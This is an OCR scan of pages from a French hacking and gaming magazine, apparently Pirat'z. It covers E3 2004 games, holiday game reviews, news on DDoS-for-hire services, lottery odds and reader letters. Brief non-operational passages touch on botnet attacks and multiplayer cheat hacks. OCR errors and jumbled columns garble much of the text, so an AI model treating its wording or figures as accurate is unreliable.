ou plus simplement I'E3 (prononcez "i kioube" ;-))qui soufflait cette année sa
dixieme bougie.

Allez, accrochez-vous bien et c'est parti pour la visite !

Dans un autre genre, l'autre titre trés remarqué de ce salon, annoncé
par Billou lui-mé&me comme I'un des jeux phares de sa firme pour
la Xbox, est le jeu de rdle Jade Empire.

Dans cet univers
inspiré de la Chine
antique se méleront
monstres et magie,
le tout encadré par
un systéme de jeu
tres axé sur les
combats. La multi-
tude d’'armes dispo-
nibles et les combos
fulgurants comme
ceux présentés lors
de la démo faite a
I'E3 devraient a mon
avis faire craquer
pas mal de porte-
Jade Empire feuilles.

ommengons par Microsoft qui, profitant de sa petite soirée
d'avance sur ses concurrents, a pu vanter en premier les mérites de
sa petite (enfin grosse plutdt lol) boite verte.

On retiendra surtout la mise en avant du Xbox Live qui devrait bien-
tot permettre d'acheter ses jeux en ligne - on vous reparlera siirement
dans peu de temps de la sécurité de ce service...

Le jeu le plus attendu pour beaucoup de gamers était également
présenté. Je parle évidemment du fameux Doom 3. Ce nouvel épisode
de la série mythique était cette fois en version jouable et, d'aprés les
chanceux qui ont pu essayer... ¢a claque !

Le jeu est toujours prévu pour le mois de juillet, alors vivement que
I'on puisse fraguer du zombie, méme si I'ambiance vise a faire peur au
joueur, ¢'est pas grave, on se serrera les coudes ;)

Mais ce n'est
pas tout. Halo 2 la
suite du grand hit
X-box récemment
adapté sur PC a
révélé son mode
multi-joueurs aux
quelques privilé-
giés qui ont péné-
tré le salon privé
de Microsoft sans
se faire dévisser la
téte par les grands
vigiles de 130 kg

Daom 5 pour 1m90.

Cela s'annonce trés prometteur et encore plus bourrin que le premier
opus, puisqu'il sera maintenant possible de tenir deux armes en méme
temps pour éclater deux fois plus de tétes.

u coté de Sony, le gros de la conférence a porté sur la présentation
d’un nouveau bébé : la PSP

Cette console portable en projet chez Sony, qui compte bien faire
chuter le succes de son concurrent Nintendo (presque seul sur le mar-
ché avec sa GBA), affiche un design assez séduisant : un écran plutot
grand et deux fois plus large que haut, ce qui est assez original.

Aucun jeu n'était présenté en version jouable, mais Sony a insisté
sur les capacités multimédias de sa machine en lisant par exemple un
extrait du film Spiderman.

Pourtant je suis siir que rien que les titres des jeux suffiront a vous
mettre I'eau a la bouche : que dites-vous d'un petit Gran Turismo 4 :
Mobile ? A moins que vous préfériez un WipEout Pure ou, allons y fran-
chement, un Metal Gear Acid...

Bref tout cela s'annonce bien prometteur :-p

Au niveau des jeux proposés par Sony, impossible de ne pas se
prendre la claque : Gran Turismo 4 qui apparait définitivement comme
le jeu de caisse le plus attendu, voire le jeu le plus attendu sur PS (enfin,
depuis le temps qu’on Iattend justement...).

Cet E3 a permis de :
confirmer toutes les
bonnes choses que le
nom de ce jeu évoquait
a notre oreille : exploi-
tation maximale de la
PS2, des tonnes de
caisses, de tracés et de
modes de jeux et, la
petite nouveauté de cet
opus, le mode on-line
qui permettra a six
joueurs de s'affronter
simultanément dans =~
une course de folie. Gran Tourismo 4




du genre.

¢ sa team.

ans le genre infiltration, Snake s'est comme d’'habitude fait remarquer avec Metal Gear
Solid 3, le nouveau bébé de Konami qui s'annonce déja comme un gros hit. Une fois de plus,

il faudra jouer les héros pour sauver le monde de méchants terroristes.
Capcom essaye de son coté de rattraper la petite déception entrainée par Devil May Cry 2
en proposant maintenant le troisieme épisode de la série. Un titre a surveiller si vous étes fans

En parlant de séries, la plus célebre de toutes était également venue faire sa star avec son
douzieme opus. Je parle évidemment de Final Fantasy, FEXIl pour les intimes.

On ne comprend pas encore grand chose au scénario, mais la réalisation semble toujours,
comme nous y avons été habitué par Square, trés soignée et les décors ainsi que les expres-
sions des personnages de toute beauté. Le systéme de combat aura pour sa part le droit a
quelques nouveautés, comme la possibilité d’assigner des stratégies a chacun des persos de

Seul point noir au tableau : le jeu est prévu pour le début de I'année prochaine au Japon,
alors chez nous ce n’est pas pour tout de suite -

HEX2ALUTF IVDEVL
Final Fantasy X0

Paper Mario 2

Passons maintenant a Nintendo et ses deux consoles fétiches : la Gamecube et la Game boy Advance. Ici aussi on a pu faire de nombreuses décou-
vertes tres intéressantes, la conférence de la firme étant & mon avis de loin la plus compléte et la plus alléchante.

Tout d'abord, 'annonce de la Nintendo DS, nouvelle console portable visant a rivaliser avec la PSP, a fait baver tout le monde.

En effet, ici, pas question de montrer simplement le design de la béte, puisque plusieurs jeux étaient présentés en version jouable, notamment les

deux futurs hits Super Mario 64 X 4 ainsi que Metroid Prime : Hunter. Et 1a, méme
s'il est encore un peu tot pour porter un jugement sur la console (qui n'est prée-
vue que pour mars prochain, tout comme la PSP d'ailleurs) il faut avouer que ca
déchire -

Du coté des jeux, pas moins de bonnes surprises, la suite de StarFox Adven-
tures a par exemple bien avancé pour enfin proposer des graphismes solides et ras-
surer ceux qui avaient eu la frousse en voyant les premieres images divulguées
I'année derniere (avouons qu'elles étaient assez laides). :

Pour les amateurs du genre, le grand Resident Evil 4 était toujours aussi impres-
sionnant, aussi bien par ses graphismes que par son gameplay. Les zombies sem-
blent enfin avoir une cervelle un peu plus grosse qu’un petit pois et n’hésiteront pas
a défoncer les portes pour vous suivre jusqu’au bout des ténebres -

Si ce genre de jeu vous fait plutot peur, vous pouvez vous rabattre sur Paper
Mario 2 lol, avec ses graphismes en papier maché dans un style bien sympa. Dans
le méme esprit que Mario et Luigi sorti récemment sur GBA, il est orienté moitié
action, moitié RPG. On a la un petit jeu qui peut étre marrant et permettra de se
détendre un peu. Mais bon, les hardcores gamers risquent de se retrouver un peu
comme des délinquants de 16 ans a qui on donnerait un hochet pour s'amuser...

Si vous sentez des pulsions animales en vous, alors les titres suivants
pourraient peut-étre vous intéresser. Le singe préféré de Nintendo
revient en force avec quatre jeux annoncés aussi bien sur GBA que sur
NGC.

On retrouvera donc |'ami Donkey dans Donkey Konga, un jeu musi-
cal sur NGC, Donkey Kong Jungle Bit, un jeu d'aventure sur NGC qui sem-
ble coller avec I'esprit des bons vieux épisodes sur SuperNes, Mario VS
Donkey Kong, un jeu d'action sur GBA, et enfin DK King of Swing sur
GBA... mais on ne sait pas encore trés bien ce que c'est

Passons maintenant aux deux grandes stars de la NGC : tout d’a-
bord Samus Aran dans la lignée de Metroid, jeu considéré par beaucoup
comme le meilleur de la console.

Pour cette
suite, pas de
déception pour
I'instant puisque
les graphismes
semblent encore
plus fins, I'am-
i3 : biance toujours
100 19 i excellente et le
100 103, _ scénar du feu de

! dieu. La cerise
sur le gateau ne
se fait pas atten-
dre : un mode
multijoueur qui
nous faisait tant
réver a déja été
Metroid 2 : Samus Avan annonce...

'appelle maintenant notre grand héros Link. Le prochain épisode

des aventures du petit bonhomme a vraiment été la grande sur-
prise sur console de cet E3 en donnant une bonne petite claque gra-
phique a tous ceux qui étaient présent. Le style enfantin est oublié pour
donner un aspect beaucoup plus réaliste et adulte a Link, mais je ne
vous gache pas le plaisir et vous I'admirer par vous-méme en téléchar-
geant la petite vidéo disponible a I'adresse suivante :
http://www.jeuxvideo.com/downloads/0000/00007746_video.htm

Les fans des consoles portables ne sont pas oubliés non plus : une
version tout aussi attendue est en effet prévue sur GBA, pour notre plus
grand plaisir -

En ce qui concerne les jeux PC, I'é-
venement a encore été créé par

Half-Life 2 qui reste un des titres les herbe, c'est Warhammer
plus attendus sur nos PC et s’annonce
maghnifigue en tous points.

Half Life 2 vous piratez un terminal.

Pour les strateges en

40.000 qui s'est particulig-
rement illustré tandis que les
fans d'infiltration étaient col-
lés devant les écrans de
Splinter Cell 3 se détachant
essentiellement des deux
autres par son mode coopé-
ratif tres poussé. Il faudra
maintenant demander a
votre pote de vous faire la
courte échelle pour pouvoir
grimper sur un mur ou de
faire diversion pendant que

prospero




LEs MEILLEURS

Ca y est, les vacances sont la ! On va enfin pouvoir oublier un peu les virus et les failles de sécurité.
Pour se détendre, on propose un petit saut dans le grand monde des jeux vidéos, tous horizons, et on

vous en sort les meilleurs titres !

DONKEY KO
COUNTRY 2

Technique dite du "cochon pendu"

Je vous propose de commencer avec un
jeu pour Game Boy Advance. Faut le dire, cette
console a quand méme le net avantage d'étre
10 fois plus facile a transporter sur son lieu de
vacances qu'une Xbox ;-)

Le jeu en question, sorti a I'origine sur
Super Nes, met en scene le petit frere du
fameux singe de Rareware épaulé par sa nou-
velle copine, Dixie, a la recherche de leur pote
Donkey, kidnappé par le grand méchant King
K. Rool. Il s'agit évidemment de Donkey Kong
Country 2, sorti recemment au format porta-
ble.

En déguisant Donkey en princesse, ce qui,
entre nous, ne serait pas trés sexy, le scénario
pourrait avoir un air de déja vu. Mais 'origina-
lité du titre ne vient pas de ce point, mais plu-
tot du systtme de progression avec deux
personnages en alternance.

Je m'explique : vous déplacerez soit Diddy soit
Dixie, mais le personnage inutilisé vous suivra tout
au long de votre aventure et, sur simple pression
de la touche R,vous pourrez choisir de diriger 'un
plutét que I'autre. Vous imaginez bien que chacun
a ses capacités, et vous devrez les combiner habi-
lement afin d'arriver sain et sauf au bout du
niveau.

Les multiples niveaux que vous traverse-
rez sont tous plus originaux les uns que les
autres, avec des décors variant tout autant. Il
faudra faire preuve de persévérance pour
atteindre la fin du jeu ; la durée de vie étant
aussi un autre de ses points forts, dont vous
ne risquez pas d’en faire le tour avant méme
d'étre arrivé sur la plage.

Il va sans dire que les parties seront d'au-
tant plus endiablées si vous trouvez un pote
acceptant de faire le singe avec vous, auquel
cas, chacun contrdlera I'un des primates sur
sa console.

Les graphismes sont quant a eux toujours
aussi bluffant, et Nintendo nous montre la que

méme 10 ans aprés la Super Nes, une belle 2D chaque perso a son point fort, Donkey cest ln foree I

est toujours aussi agréable pour les yeux.

Quant a la petite nouveauté - caril y en a
quand méme une par rapport a la version origi-
nale - il s'agit de minis-jeux, jouables seuls ou
jusqu’a quatre, qui sauront stirement vous amuser
quelques heures de plus tant ils sont prenant et
vous motivent & avancer dans le mode histoire
pour débloquer de nouveaux parcours.

Je vous laisse découvrir le reste tout seul, mais
vous I'avez bien compris, si vous avez une GBA et
que vous cherchez un titre slr pour les vacances,
allez-y les yeux fermés. DKC 2 a déja fait ses preu-
ves et saura vous satisfaire.

MARIO GOLF

Un tir parfait vous donne le droit a un bel arc-en-ciel.
8i c’est pas mignon !

On dit souvent que les jeux vidéos sont trop
violents ou que les h4rDcOrZ GAm3rZ ne pensent
qu’a tirer sur tout ce qui bouge avec leurs fusils a
pompe. Et bien non ! Pour preuve, voici un jeu tout
mignon et coloré, dans lequel on ne frappera pas
sur autre chose qu'une balle : un jeu de golf.

Oui... rien de bien original, me direz-vous. Il en
existe déja des tas et, désolé pour les puristes,
mais mettre une balle dans un trou c'est quand
méme assez lassant au bout d’un certain temps.

La particularité de ce titre vient du fait que
c'est toute la bande de Mario qui porte les clubs
de golf ! Ainsi on retrouve le fun habituel des Mario
Kart ou autres, qui sauront vous garder des heu-
res devant la télé avec vos potes. La prise en main
est facile et instinctive, et il suffit de quelques
minutes d’apprentissage pour pouvoir swinguer
comme Tiger Wood et réaliser ses premiers exploits.

La difficulté est bien dosée et méme si vous ne
sortez votre console qu'une fois tous les 15 jours, vous
pourrez progresser a votre rythme, sans vous arracher
les cheveux ni jeter votre manette par terre. Bon, il
faut reconnaitre que les graphismes nont rien d'ex-
ceptionnel, mais c'est loin d'étre moche et ces der-
niers ne gachent en rien le plaisir.

Peuvent évidemment jouer jusqu'a
4 joueurs et ce dans 11 modes de jeu ! Vous
trouverez de tout : 18 trous classiques, évidem-
ment, mais aussi des parties en équipe, du golf
de vitesse (ol au-dela du nombre de coups
c'est le temps qui devra &tre minimum) ou
encore le mode Jackot. Il y a bien d'autres
modes intéressants, que je vous laisse découvrir.

Pour résumer tout ca, a moins d'étre
golfophobe ou accro a votre fusil a pompe, ce
petit jeu devrait vous permettre de passer de
bons moments, entre potes ou en famille (oui
mon pére a joué, sa derniére expérience
remontant pourtant & Mario kart sur N64 ;-)

TUX RACER
[PCILINUX]

Allez, il est maintenant temps de montrer aux
accros de Windows que non, il ne sont pas les
seuls & pouvoir jouer sur leur PC. Voici donc un bon
petit jeu Linux !

J'ai choisi de vous présenter Tux Racer qui,
bien qu'il soit maintenant vieux de plusieurs
années, est vraiment sympa a jouer et permet de
voir notre pingouin, bien sage d'habitude, se défou-
ler un peu. En effet, ce titre est en fait un jeu... de
course de palmipédes !




Allex Tux, on croit en toi !

Tux qui, je le rappelle, est le nom donné au
pingouin mascotte de Linux (bon, d'accord, ¢'est
un manchot), va se jeter la téte la premiére dans
des descentes de montagnes enneigées. Et c'est
fun : rien ne vous empéche de quitter la course
pour aller faire des bosses, et vous ramasser
quelques arbres.

Niveau graphisme, on sent évidemment que
le jeu se fait vieux. Mais bon, ga reste globalement
agréable a voir et ¢a n'enléve rien au fun, donc on
fermera les yeux la-dessus (enfin... pas en pleine
partie).

Ce jeu n'est pas complétement gratuit (houa,
y a méme des jeux payant sur Linux !) : la liste
compléte des niveaux vaut une petite quinzaine
d’euro. Si vous voulez vous faire une idée plus pré-
cise, vous pouvez toujours télécharger gratuitement
Open Racer, qui est la version sous licence GPL du
jeu, gratuite, et qui contient plusieurs courses
créées par la communauté.

Ce projet libre tente de s'éloigner un peu du
jeu d’origine, pour ne pas étre en concurrence
directe (il s'agit d'un "fork"). M&me s'il n'arrive
peut-&tre pas au niveau de I'original, ces pro-
grammeurs bénévoles ont vraiment fait du bon
boulot et il y a de quoi s'amuser. Une autre diffé-
rence importante se situe au niveau du mode
multi-joueurs, malheureusement indisponible dans
la version gratuite et libre - pour I'instant.

Si vous avez une machine sous Linux avec un
environnement graphique (nécessaire pour lancer
le jeu ; une carte graphique accélérée est aussila
bienvenue), je vous conseille vivement d’aller le
télécharger sur http://openracer.worldforge.org
pour au moins essayer. Sinon, si vous restiez sous
Windows a cause des jeux, votre dernier argument
vient de tomber ;-)

(Bon, pour ceux qui veulent vraiment y jouer
sur Windows, c'est la : http://tuxracer.source-
forge.net/download. htmH#Windows)

RALLISPORT
CHALLENGE 2 [x30x]

Pour finir cette série de tests, je vais revenir
Vers un jeu un peu plus classique, sur Xbox cette
fois, qui a vraiment attiré mon attention. Il s'agit
de Rallisport Challenge 2.

En effet méme s'il semble se fondre dans la
masse des jeux de voitures sur console qui ne fait
que grossir, en réalité il sort vraiment du lot par
ses multiples atouts.

Tout d'abord ses graphismes : en plus d'étre
trés nombreux et variés, les décors sont vraiment
superbes et détaillés. Les conditions météorolo-
giques sont trés bien retranscrites et on a parfois
vraiment I'impression d'étre pris dans une tempéte
de neige (avec un mini-
mum d’imagination, évi-
demment ;-)

Mais c’est surtout au
niveau de la jouabilité
que ce titre se
démarque. Je suis loin
d'étre fan des jeux de
voitures, et pour &tre
franc, je passe habituel-
lement une bonne partie
de mon temps dans la
pelouse. Rien de tout
cela ici | Au bout de
quelques minutes, on
maitrise plutdt bien son
nouveau bolide et il est
possible de s'amuser
tout de suite dans les
nombreuses courses,
sans passer des heures
a I'entrainement a étu-
dier les trajectoires et le
dérapage millimétré.

Conduite sur neige de nuit, bon courage !

Ainsi ce jeu est vraiment accessible a tous,
habitués des jeux de voiture évidemment, mais
surtout aux néophytes qui souhaitent s'initier au
genre et qui ont toujours été dégoiités par une
conduite trop difficile. C'est vraiment pour cela que
j'ai choisi de vous le présenter ici.

Le mode Carriere est quant a lui tout simple-
ment énorme : un grand tableau est accessible
pour chaque niveau de difficulté et vous pouvez
alors choisir I'épreuve gue vous souhaitez. Ce sys-
téme a l'avantage de vous éviter de rester bloquer
sur une course, puisque vous pouvez sélectionner,
a tout moment, n'importe quelle épreuve du
tableau. Une exception : la derniére course, bien
slr, qui ne se déverrouille qu'a la fin, et qui vous
permet d’'obtenir votre permis de classe D (pour
le premier niveau de difficulté, puis C, B, A... et
peut-étre d'autres si vous devenez vraiment un
grand pilote ;-

Au niveau multi-joueurs - parce que c'est
quand méme les vacances et qu'on ne va pas res-
ter tout seul devant sa télé - sachez qu'il possible
de jouer jusqu'a quatre en écran divisé, ou en LAN
a condition d'avoir plusieurs Xbox et télés sous la
main.

Sinon, si tous vos potes préferent aller a la plage,
il vous reste le Xbox live oli vous pourrez rejoindre jus-
qu'a quinze autres pilotes pour des courses encore
plus passionnantes que contre I'1A. Méme Souligner
au passage que cette derniére est trés sophistiquée
: Vos adversaires vous donneront du fil & retordre, et
votre copilote vous guidera pour le mieux.

Vous I'aurez compris, ce jeu est vraiment un
hit de la Xbox et si vous possédez cette machine,
vous feriez vraiment une erreur en passant a coté.

N'hésitez pas & donner votre avis sur cette
nouvelle rubrique. Vous connaissez ['adresse
(sinon, c'est page 30). Ou encore, faites un tour
sur notre forum !

TEMPS TOTAL
00:20.300

TEMPS AU TOUR
00:20.500
MEILLEUR TOUR
00:00.000
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COMMENT GRAGNEIR
AU LOTO

Si vous voulez jouer sérieusement au loto, n'espérez pas gagner. C'est le conseil
de Pirat’z. Mais si vous insistez, on va vous donner quelques trucs.

HACKERS
A CAGES

Des pirates russes en avaient mame
de bloguer des sites par pur plaisir ou
hien par simple defi. lls ont décide
d'en faire (une prometteuse) camie-
re. I proposent des services pour les
entreprises qui souhaiteraient rendre
des sites intemet inaccessibles. Leur
méthode se résume a pirater un site
par attague DDoS (Distributed Denial
of Service), ce qui estrendu possible
grace a un groupe o ordinateurs per-
sonnels piratés qui exercent un grand
nombre de demandes en méme
temps afin de paralyser le site visé.
Le genre d'attaque que Microsoft ou
Yahoo connaissent hien. Les tarifs
varient selon [e site que vous dési-
rez voir inactif : ls oscillent entre 60
et 80000 dollars. Cela permet de
faire bloguer les projets de concur-
rents, enfin tout ce genre de choses
(Ui, avelions-le, ne seraient pas tres
cools si c'était dirigé contre vous. Ce
piratage commercial pourrait avoir
heaucoup de succes puisqu'il est dif-
ficile de prouver qui commet les
attaques et qui les a commanditées.

NTIVIRUS
XPLORER

2004

Bill et son ami Sécurits Mike Nash
sont en train de nous concocter un
nouvel antivirus maison. Mais afin
'éviter de se retrouver dans de sales
draps, ce nouveau produit Microsoft
ne sera pas integré a Windows
comme ls I'avaient fait avec Inter-
net Explorer. Il sera commercialisé
séparément et proposé a la vente
comme tous les autres jouets de Bill
Il s'agira d'un nouveau concument de
McAfee, Norton et compagnie, qui
seront strement ravis te se mesurer
a Microsoft. Toutefois, selon des offi-
ciels du geant americain, ils n‘ont
aucun plan concret de ce que sera
leur antivirus. Voila qui est de honne
augure. . . Curieusement, ce projet
amive exactement un an apres |'a-
chat par Microsoft de GeCAD, une
compagnie d'ankvirus roumaine. Bon,
on voit le tableau d'ici, une ribam-
helle de roumains illégaux travaillant
dans les lahoratoires secrets de
Microsoft au prochain virus (et son
antidots) exploitant une faille inédi-
te de Windows.

Il ne faut pas réver. Au loto tradi-
tionnel de la Frangaise des Jeux, vous
avez une chance sur 14 millions de
gagner le gros lot, ou plutot : 13 983
815 chances sur 13 983 816 de ne
pas "étre le prochain". En tout, vous
avez méme moins de 2 chances sur
100 de gagner quoi que ce soit. C'est
maigre.

Pour y voir plus clair, vous avec
autant de chance de gagner que la
combinaison suivante en a de sortir :
12 34 5 6. Je ne crois pas me souve-
nir que ce soit déja arrivé, je ne crois
d’ailleurs pas avoir déja gagné... sinon
je ne serais pas |a a essayer de rattra-
per une blague débile d'un jour de bou-
clage.

Evidemment, on ne perd pas grand
chose a chaque fois. Du moins, on le
croit, et c'est étudié pour. Il ne faut pas
oublier que la loterie n'est pas une
arnaque, mais bien un stratagéme fiscal
- d'une nature assez étrange d'ailleurs,
puisqu'il taxe certains millionnaires
avant qu'ils ne le soient. Toute loterie
payante qui n'est pas contrdlée par
I'Etat est illégale. C'est pour ¢a que les
tirages au sort promotionnels sont
systématiguement "sans obligation
d'achat". Le bon plan, ¢'est de télépho-
ner au service des consommateurs de
la marque en question pour demander
des billets pour participer au concours.
J'ai essayé avec un jeu a gratter de
McDonald's, en faisant une demande
par email, et j'ai en effet regu un ticket
par la poste, sans aucun frais ("Bon-
jour, j'aimerais participer a votre fabu-
leux concours. Pouvez-vous m'envoyer
un bulletin de participation, blablabla..."
Le pire, c'est qu'ils sont obligés de le
faire =-).

J'ACHETE
TOUS LES TICKETS !
Bref, par nature, la loterie doit étre
profitable a celui qui I'organise. Elle doit
donc faire perdre ceux qui y participent,
a long terme. Mathématiquement, ce
n'est pas un investissement viable. On
pourrait faire de longs calculs statis-
tiques sur le gain moyen pour une mise
donnée (voir le drdle de rapprochement
entre les habitudes des joueurs et des
clients de compagnies d'assurance
citées en référence [1] pour avoir une
idée de ce que ¢a pourrait donner). On
peut aussi simplement constater que
quelqu'un qui voudrait jouer toutes les
grilles possibles, avec autant de billets,
devrait débourser au moins trois fois
plus qu'il ne pourrait espérer gagner s'il

était le seul jouer.

De méme, sur le long terme, en
jouant toutes les semaines deux grilles
(pour 1,2 euro), on a un peu moins
d'une chance sur six de ne jamais rien
gagner (donc d'avoir perdu en tout dans
les 60 euro), sans pour autant améliorer
sensiblement ses chances de toucher le
gros lot (pour comparer, on aurait encore
deux fois plus de chances d'avoir 5 bons
numéros du premier coup).

LA SEULE TECHNIQUE
SCIENTIFIQUE

Si aprés ga vous étes toujours
décidés a jouer, et si vous pensez sin-
cerement pouvoir gagner, il ne reste plus
qu'un bon conseil a vous donner. Rap-
pelez-vous que le loto est un jeu de
répartition. Ca signifie que les gains,
constitués par les mises, sont répartis
entre les gagnants. Donc, si vous
gagnez, vous avez tout intérét & étre le
seul. Vous n'avez aucun moyen mathé-
matique d'augmenter profitablement
vos chances de gagner, mais vous avez
par contre des moyens statistiques pour
maximiser vos gains le cas échéant :
jouer les grilles et les numéros que les
autres ont le moins tendance a choisir.

On a vu qu'il y avait 14 millions de
grilles possibles, mais beaucoup de
joueurs, sans le savoir, choisissent les
mémes numéros. A chaque tirage, il y a
sans doute plusieurs petits malins qui
veulent faire la nique au hasard et qui
jouent les six premiers chiffres - ou des
geeks qui préferent les puissances de
2, des pythagoriciens qui choisissent
des nombres premiers, des géometres
qui font des diagonales, des colonnes,
des lignes, cochent les coins, etc. Ce
sont les choses a éviter.

Une anecdote raconte qu'il y a plu-
sieurs années, le tirage de la loterie
frangaise a par hasard été le méme que
celui de la loterie belge une semaine
auparavant. Résultat : plus d'un millier
de gagnants, qui pensaient étre origi-
naux. On le croit facilement, ils étaient
tous bien dégus de ne recevoir que
quelques dizaines de milliers de francs,
malgré les six numéros trouves.

Si vous avez un doute, utilisez le sys-
teme flash qui vous choisira une grille
pseudo-aléatoire. C'est gratuit, simple,
et ¢a vous dessine une grille qui a bien
des chances d'étre unique. Comme
d'hab, la paresse est de bon conseil.

ET LE PIRATAGE ?

Je vous attends, vous allez me dire
que bon, il y a peut-&tre quand méme

un moyen de tricher, par exemple en
s'introduisant dans le réseau de la Fran-
caise des Jeux. Mais je vous arréte tout
de suite, et finalement, je vous
conseillerais plutdt de retourner a vos
petites cases, vous aurez plus de chan-
ces de réussir.

Il n'y a pas trente-six pistes. Il faut
soit connaitre la combinaison gagnante
avant de remplir son ticket, soit faire en
sorte que ce soient ses numéros qui
sortent. Le tirage, bien sir, a lieu aprés
que les tickets puissent étre validés.
Ceux-ci sont probablement sellés cryp-
tographiquement, tout en étant archivés
physiquement, de maniére siire. C'est
élémentaire, le systeme informatique
doit fonctionner en circuit fermé, sans
aucun contact avec |'extérieur. La seule
possibilité, c'est peut-étre d'acheter plu-
sieurs membres du personnel - autant
de personnes avec qui il faudra partager
le pactole, et susceptibles de vous
dénoncer (les peines sont lourdes pour
ce genre de fraude).

Tous les systémes de loteries n'uti-
lisent pas ces grosses boules que I'on
voit & la télé. On peut méme se deman-
der si le loto que I'on connait n'est pas
maintenant entiérement informatisé (les
images, pré-enregistrées, ne seraient
qu'un décor). En tout cas, pour des jeux
comme le Rapido, on s'imagine bien
que des gens ne s'amusent pas a bras-
ser des balles toutes les cing minutes
pour produire les tirages. Il existe en
effet des moyens pour un ordinateur de
générer des nombres réellement aléa-
toires, en utilisant des éléments exté-
rieurs physiques, chaotiques,
imprévisibles (comme la température
de la pigce a un instant donné, au cen-
tieme de degré prés). Pour tricher, il fau-
drait court-circuiter le systéme pour qu'il
ne tienne pas compte des facteurs
aléatoires. Il y a cependant fort a parier
qu'a chaque gain important, l'intégrité
de tous les appareils est minutieuse-
ment vérifiée. Une opération, encore
une fois, difficile & réaliser sans l'aide
de complices internes.

Pas simple. Mais on vous promet, si
on trouve quelque chose, on vous tient
au courant. Donc la prochaine fois, si
Vous avez un ou deux euro en trop, ache-
tez plutdt le dernier numéro de Pirat'z.

de Bazande
A lire si on s'ennuie vraiment :

1% http://www.sciences-sociales.
ens.fr/~adirer/textes/ loteries.pdf
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COURRIER DES
e ECTEURS

Grace a nos hons amis de chez Yahoo, nous avons maintenant 100 Mo pour recevoir vos élucubrations
sur piratgamez@yahoo.fr. N'en profitez pas pour nous envoyer encore plus de photos comme on les aime, on en
recoit déja suffisamment comme ¢a. Je vous rappelle que nous ne sommes pas capables de vous dire
pourquoi Mortal Trucmuche plante sur votre ordinateur, qu'il n'y a (aux derniéres nouvelles) pas de ser-
vice pour les anciens numéros ni d'abonnement, et que la France a lamentablement perdu contre la Gréce.

Voila, je suis en 3° et plus tard j'aime-
rais devenir journaliste dans la sécurité
informatique, un mag comme le votre... Je
me prépare pour entrer en 2" et faire un
bac L. J'aimerais savoir comment je peux
faire pour faire ce métier ? Et, est-il possi-
ble que j'envoie mes articles a votre mag,
et ily a-t-il une chance qu'ils paraissent un
jour dans votre magazine ?

Lord3rZ

Je dirais que pour étre journaliste en info, il
faut principalement deux choses : 1) étre pas-
sionné par ce que I'on fait, pour aller toujours
chercher de nouveaux sujets a explorer, et 2)
savoir écrire en frangais (méme si en info c'est
moins important qu'ailleurs, il le faut si on veut
étre professionnel). Pour les articles, nous som-
mes trés ouverts et il est tout a fait possible de
nous proposer des sujets que vous aimeriez trai-
ter (je vous conseille de ne pas écrire tout un arti-
cle avant d'avoir requ notre approbation sur le
sujet, ca peut vous éviter du travail inutile).

Je voulais dire que j'en ai marre de tous
ceux qui traitent Bill Gates ou bien qui traitent
Windows de "Windaube" ! Parce que dites-vous
bien que s'il n'y avait pas eu "Windaube" ou
Bill, vous ne seriez siirement pas la en train de
lire votre mag tout en écoutant le dernier
album de Lorie ! (lo! je parle pour les lamerz :-
) Et oui ! Mais ca, ¢a ne t'est jamais venu a
I'esprit je suppose -5

Folken

Tiens, un défenseur de notre ami Billou, ¢a
se fait rare par les temps qui courent, il faut bien
I'avouer. C'est vrai aprés tout, prenons une minute
pour réhabiliter Microsoft et dire un grand MERCI
a Bill Gates pour tout ce qu'il a fait pour nous.
Merci, merci, merci mille fois pour toutes ces
failles qui font vivre des magazines comme le
nétre, et merci d'avance de continuer a en créer
sans cesse de nouvelles. Nous savons que tu ne
nous décevras pas.

[debazande : et faut préciser que sans I'ami
Billou, on pourrait quand méme vous fabriquer
des Pirat'z, vu qu'on bosse essentiellement sur
des Mac et sur des pc Linux.]

vous répondez dans le journal, laissant les aut-
res a la poubelle et sans réponse ? 2) Dans
I'article du numéro 7, "Comment pirater 50
ordinateurs en 5 minutes", j'ai un gros pro-
bleme [...] 3) J'ai entendu dire que Battle.net
avait viré les comptes de personnes qui tri-
chaient a Starcraft et a Warcraft, et moi j'au-
rais bien voulu savoir comment on peut avoir
triché a Starcraft en réseau et comment il faut
faire, car j'aimerais bien essayer, juste pour voir
;) 4) Je trouve votre magazine super, mais je
suis décu par le fait qu'il ne posséde que 30
pages... Pour le méme prix, certains magazines
en ont parfois 3 fois plus... seriez-vous un peu
radins ?

Dimitri

En voila des questions. Allons-y donc pour les
réponses : 1) Pour le savoir, il suffit d'écrire !
2) Méme si ton probléme n'avait rien a voir,
d'autres lecteurs nous ont signalé que la méthode
indiquée ne marchait pas. Apparemment, tous ces
lecteurs avaient Wanadoo comme fournisseur
d'acces : ce sont donc peut-&tre nos amis de
France Télécom qui ont bloqué certains ports. Si
vous avez le méme probleme (ou la solution), fai-
tes-nous en part ! 3) Il s'agit de hacks spéciaux,
par exemple pour intercepter les paquets réseaux
afin de voir toute la map, ou des trucs du genre.
On ne peut pas tricher simplement avec des
codes. Si tu cherches bien sur le Net, tu pourras
peut-étre trouver de tels hacks. En sachant qu'il y
a de forts risques d'étre repéré et banni et que
c'est vraiment nul de tricher en réseau. 4) C'est
vrai qu'on pourrait rajouter 60 pages de pub, on
gagnerait beaucoup plus d'argent et on pourrait
juste vous donner le mag'. Mais on préfere rester
indépendants et sans publicité. Et franchement,
je ne crois pas qu'il y ait beaucoup de magazines
a un niveau qualité/prix équivalent.

Décidément, ces vieux trucs de marketing
déguisés en blagues débiles marchent toujours.
Ne cherchez plus la page 55, elle a dii étre cou-
pée au montage car il nous manquait les pages
33 a54.

Salut & toi © grand maitre du piratage !
J'ai 13 ans et je voudrais savoir comment on
fait pour supprimer un systeme d'exploitation
sur Windows XP et comment créer un pro-
gramme informatique et si possible se procu-
rer ce logiciel en francais avec notice
d'explication. Ne changez rien a votre magazine
car il est impec ! A bientdt les amis 11!
Yoyo85

Bon, c'est quoi cette manie de m'appeler
grand maitre.... vous voulez faire du léchage de bot-
tes pour passer dans le mag ? Et bien, continuez,
on dirait que ¢a marche. Par contre, essayez de
poser des questions compréhensibles si vous vou-
lez une réponse qui le soit également, et pas une
affabulation de plusieurs lignes qui finalement ne
vous apprend rien, si Vous voyez ce que je veux
dire...

Salut a toi matelot ! Existe-t-il un conver-
tisseur de jeux PS2 en jeux d'ordi ?
Dominique

Snif, voila que je passe de grand maitre a
matelot :'( Bon, pour ta question, malheureusement
non, ce n'est pas si simple. Tout ce qui existe, ce
sont des émulateurs qui ne sont pas encore trés
au point. Voir par exemple sur www.emu-
france.com.

Je veux convaincre mes parents de m'a-
bonner a I'ADSL. Merci de répondre.
Toma

Chers parents, veuillez abonner votre fils a
